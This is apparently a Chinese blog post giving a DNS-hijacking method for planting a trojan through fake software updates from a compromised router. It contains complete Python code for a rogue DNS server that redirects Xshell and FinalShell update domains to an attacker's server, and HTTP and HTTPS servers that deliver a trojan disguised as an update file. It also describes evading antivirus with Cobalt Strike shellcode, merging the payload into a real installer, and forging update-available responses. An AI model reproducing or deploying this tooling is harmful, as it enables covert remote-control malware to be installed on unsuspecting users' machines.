DNS劫持之远程种马

参考

劫持DNS通过流量植入木马实验
GitHub代码

实验描述

如果我们控制了目标的路由器,但我们能做的只能是流量监听、路由转发等,这种被动式的监听工作要是对方“不配合”,很难获取到有价值的信息。在监听并分析了大量的数据包后,发现总会出现一些软件的自动请求流量,如安全管家的定期云端更新、应用不定时发送的一些数据流,其中留意到有不少是检查是否有更新的流量。因为我们控制了目标的路由器,所以我们可以转发这些请求,并响应一个带后门的更新软件,让目标在不经意间上线我们的木马。

思路

我们需要做的大致分为以下几点:
1、搭建一个DNS服务器,对流量做好分流,一般的请求直接转发出去,捕获到更新请求则返回恶意解析。
2、搭建恶意服务器,响应带马的软件,这个可以细分为HTTP服务器和HTTPS服务器。

修改代码

环境
python2
原GitHub代码有几点错误,我自己给修改过来了,此处贴上修改后的代码并注释。

DNS服务器

#!/usr/bin/env python

"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""

import os
import re
import socket
import threading
import time
import dns.resolver

class DNSQuery(object):
    """
    Used for making fake DNS resolution responses based on received
    raw request
    Reference(s):
        http://code.activestate.com/recipes/491264-mini-fake-dns-server/
        https://code.google.com/p/marlon-tools/source/browse/tools/dnsproxy/dnsproxy.py
    """

    def __init__(self, raw):
        self._raw = raw
        self._query = ""

        type_ = (ord(raw[2]) >> 3) & 15                 # Opcode bits

        if type_ == 0:                                  # Standard query
            i = 12
            j = ord(raw[i])

            while j != 0:
                self._query += raw[i + 1:i + j + 1] + '.'
                i = i + j + 1
                j = ord(raw[i])

    def response(self, resolution):
        """
        Crafts raw DNS resolution response packet
        """

        retVal = ""

        if self._query:
            retVal += self._raw[:2]                                             # Transaction ID

            retVal += "\x85\x80"                                                # Flags (Standard query response, No error)
            retVal += self._raw[4:6] + self._raw[4:6] + "\x00\x00\x00\x00"      # Questions and Answers Counts
            retVal += self._raw[12:(12 + self._raw[12:].find("\x00") + 5)]      # Original Domain Name Query
            retVal += "\xc0\x0c"                                                # Pointer to domain name
            retVal += "\x00\x01"                                                # Type A
            retVal += "\x00\x01"                                                # Class IN
            retVal += "\x00\x00\x00\x20"                                        # TTL (32 seconds)
            retVal += "\x00\x04"                                                # Data length
            retVal += "".join(chr(int(_)) for _ in resolution.split('.'))       # 4 bytes of IP

        return retVal

class DNSServer(object):
    def __init__(self):
        self.my_resolver = dns.resolver.Resolver()
        self.my_resolver.nameservers = ['8.8.8.8']
        self._check_localhost()
        self._requests = []
        self._lock = threading.Lock()
        try:
            self._socket = socket._orig_socket(socket.AF_INET, socket.SOCK_DGRAM)
        except AttributeError:
            self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self._socket.bind(("", 53))
        self._running = False
        self._initialized = False

    def _check_localhost(self):
        response = ""
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            s.connect(("", 53))
            s.send("6509012000010000000000010377777706676f6f676c6503636f6d00000100010000291000000000000000".decode("hex"))  # A www.google.com
            response = s.recv(512)
        except:
            pass
        finally:
            if response and "google" in response:
                raise socket.error("another DNS service already running on *:53")

    def pop(self, prefix=None, suffix=None):
        """
        Returns received DNS resolution request (if any) that has given
        prefix/suffix combination (e.g. prefix.<query result>.suffix.domain)
        """

        retVal = None

        with self._lock:
            for _ in self._requests:
                if prefix is None and suffix is None or re.search("%s\..+\.%s" % (prefix, suffix), _, re.I):
                    retVal = _
                    self._requests.remove(_)
                    break

        return retVal

    def get_domain_A(self,domain):
        try:
            results=self.my_resolver.query(domain,'A')
            for i in results.response.answer:
                for j in i.items:
                    try:
                        ip_address = j.address
                        if re.match('\d+\.+\d+\.+\d+\.+\d', ip_address):
                            return ip_address
                    except AttributeError as e:
                        continue
        except Exception as e:
            return '127.0.0.1'

    def run(self):
        """
        Runs a DNSServer instance as a daemon thread (killed by program exit)
        """

        def _():
            try:
                self._running = True
                self._initialized = True

                while True:
                    data, addr = self._socket.recvfrom(1024)

                    _ = DNSQuery(data)
                    domain=_._query[:-1] ###### exploit
                    ip=self.get_domain_A(domain)
                    ############ modify exploit
                    if domain == 'cdn.netsarang.net':    # 劫持更新域名
                        ip='xxx.xxx.xxx.xxx'    # 自己搭建的HTTP服务器
                        print domain,' -> ',ip
                    self._socket.sendto(_.response(ip), addr)

                    with self._lock:
                        self._requests.append(_._query)

            except KeyboardInterrupt:
                raise

            finally:
                self._running = False

        thread = threading.Thread(target=_)
        thread.daemon = True
        thread.start()

if __name__ == "__main__":
    server = None
    try:
        server = DNSServer()
        server.run()

        while not server._initialized:
            time.sleep(0.1)

        while server._running:
            while True:
                _ = server.pop()

                if _ is None:
                    break
                else:
                    domian=_[:-1]
                    #print "[i] %s with A %s" % (domian,server.get_domain_A(domian))

            time.sleep(1)

    except socket.error, ex:
        if 'Permission' in str(ex):
            print "[x] Please run with sudo/Administrator privileges"
        else:
            raise
    except KeyboardInterrupt:
        os._exit(0)
    finally:
        if server:
            server._running = False

HTTP服务器
原文中写死了响应头的Content-Length,导致放入自己的木马文件时不适用,我修改为动态获取。同时原文并没有定义下载后保存的文件名,迷惑性不大,我修改为可自定义,可在代码中快速修改。

# -*- coding: UTF-8 -*-
import socket
import time
import threading, getopt, sys, string
import re

#设置默认的最大连接数和端口号
list=50
port=80

file_contents=open('myrat.exe','rb').read()   # 注意修改自己要读取的带马文件名
content_length = len(file_contents)


def req_server(filename='update.exe'):   # 可以修改本地保存时的文件名
    return 'HTTP/1.1 200 OK\r\nContent-Length: '+str(content_length)+'\r\nContent-Type: application/force-download\r\n' \
                                                                     'Content-Disposition:attachment; filename='+filename+'\r\n' \
                                                                     'Last-Modified: Fri, 10 Jan 2014 03:54:35 GMT' \
                                                                     '\r\nAccept-Ranges: bytes\r\nETag: "80f5adb7dcf1:474"\r\n' \
                                                                     'Server: Microsoft-IIS/6.0\r\nX-Powered-By: ASP.NET\r\n' \
                                                                     'Date: Thu, 24 May 2018 06:25:45 GMT\r\nConnection: close\r\n\r\n'+file_contents

def jonnyS(client, address):
    try:
    #设置超时时间
        client.settimeout(500)
    #接收数据的大小
        buf = client.recv(2048)
        print buf
    #将接收到的信息原样的返回到客户端中
        client.send(req_server())
    #超时后显示退出
    except socket.timeout:
        print 'time out'
    #关闭与客户端的连接
    client.close()

def main():
    #创建socket对象。调用socket构造函数
    #AF_INET为ip地址族,SOCK_STREAM为流套接字
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #将socket绑定到指定地址,第一个参数为ip地址,第二个参数为端口号
    sock.bind(('0.0.0.0', port))
    #设置最多连接数量
    sock.listen(list)
    while True:
    #服务器套接字通过socket的accept方法等待客户请求一个连接
        client, address = sock.accept()
        thread = threading.Thread(target=jonnyS, args=(client, address))
        thread.start()

if __name__ == '__main__':
    main()

HTTPS服务器
主要针对导入包做了一些优化,及HTTP中所带有的一些问题。
需要注意的是,这里需要自己申请证书,不然脚本跑不起来。推荐使用在线证书生成平台,胡乱注册生成填入即可。

try:
    import socketserver
except ImportError:
    import SocketServer as socketserver
import ssl, time

class MyHTTPSHandler_socket(socketserver.BaseRequestHandler):
    def handle(self):
        context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
        context.load_cert_chain(certfile='cert.pem')   # 需要自己申请证书
        SSLSocket = context.wrap_socket(self.request, server_side=True)
        self.data = SSLSocket.recv(1024)
        # print(self.data)
        file_contents=open('myrat.exe','rb').read()   # 修改读取的带马文件
        content_length = len(file_contents)
        filename = 'xshell.zip'   # 下载时显示的文件名
        buf = 'HTTP/1.1 200 OK\r\nContent-Length: '+str(content_length)+'\r\nContent-Type: application/force-download\r\nContent-Disposition:attachment; filename='+filename+'\r\nLast-Modified: Fri, 10 Jan 2014 03:54:35 GMT\r\nAccept-Ranges: bytes\r\nETag: "80f5adb7dcf1:474"\r\nServer: Microsoft-IIS/6.0\r\nX-Powered-By: ASP.NET\r\nDate: Thu, 24 May 2018 06:25:45 GMT\r\nConnection: close\r\n\r\n'+file_contents
        SSLSocket.send(buf)

if __name__ == "__main__":
    port = 443
    httpd = socketserver.TCPServer(('0.0.0.0', port), MyHTTPSHandler_socket)
    httpd.serve_forever()

监听服务器的设置

作者的方法给了我很大的启发,但我自行操作过后发现一个服务器只能监听一个网站,因为他通过DNS服务器转发了流量,而HTTP服务器是通过监听本机80端口,HTTPS服务器是监听443端口,所以一台服务器只能跑一个网站的监听,感觉略有奢侈。
回看之前发的自行搭建DNS服务器,也可实现这样的功能,只是相对于脚本代码修改略复杂一点,需要不断修改bind9配置文件并重启加载。但这样的好处是可以通过apache处理多网站的请求分发,只需把木马文件放置在合适的路径下即可。如更新url是http://update.doamin.com/v3/update.exe,就需要把木马文件放置在网站根目录下的v3文件夹内。但这种方式对于https的请求不太友好,因为开启了证书保护的域名是无法注册到证书的,所以需要用cname解析绕过,即把无法注册证书的域名cname解析到exploit.com,然后把exploit.com解析到自己的服务器上并配置证书。若不嫌麻烦,我觉得这种方式更好一点。

实践

此处选用了xshell作为实验操作,可供选择的软件也有很多,如火狐浏览器、finalshell等。主要工作是自行点击更新按钮,捕获更新API,提取子域名,然后设置DNS解析,将该API重定向至HTTP服务器上。以finalshell为例,更新的子域名是dl.hostbuf.com,下载得到的文件名为finalshell_install_app.exe,将该两项信息分别填入至DNS服务器和HTTP服务器中,这样当目标机器中的finalshell被手动更新时,更新请求会被路由器中设置的恶意DNS服务器给解析到我们的HTTP服务器上,然后下载我们的恶意文件。  
文中使用的木马是直接从msfvenom生成的,极其容易被杀软杀掉。我是从cs内用免杀插件生成shellcode,然后植入到loader内编译成exe,然后与正常的更新包exe合并,但下载后并没有上线,而本地手动点击合并后的exe后能上线,不知道为什么,可能是部分软件会检查软件证书、启用特殊的加载更新之类的操作,实验失败。

思考

在我真正“控制”了路由器后,我开始思考,在绝大部分流量都可以被控制(除了直接IP访问)的情况下,有什么方法可以把攻击最大化。做流量监听啥的,对于服务器要求较高,且用户体验直线下降,容易察觉网络出了问题,进而有被发现的风险。而且遇到了https协议,所有内容都混淆,攻击直接失效。因此只有种了后门,实现远控,才能有价值。好处有非常多,我们只有在攻击时才劫持DNS的几条记录,平时关闭,对用户上网并没有丝毫影响,而且后门一旦失效可以再次劫持种马上线,灵活。
但可惜没有完成真正的DNS劫持更新种马上线流程。

基于原作者的改进思考

原作者的意图是当目标机器的用户点击更新或机器上的应用自动静默更新时,通过劫持重定向其中的DNS解析让其下载并执行我们的恶意带马更新包。但我发现这样的请求的频率并不高(自动更新的很少,大部分需要手动更新),而且大多数的应用是先访问A网站进行版本校验,查看是否是最新版,若不是,再获取更新url并下载更新并执行更新程序。若我们只劫持了更新时的DNS,不劫持A网站,则这样的攻击流程可能得持续到应用自身需要更新或当前应用处于旧版的情况下才会生效,即没有即时性。
由于一般应用内预设了更新api,所以需要我们进一步劫持,给应用发放“有版本可更新”的信号,诱导其下载我们的“更新包”。

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注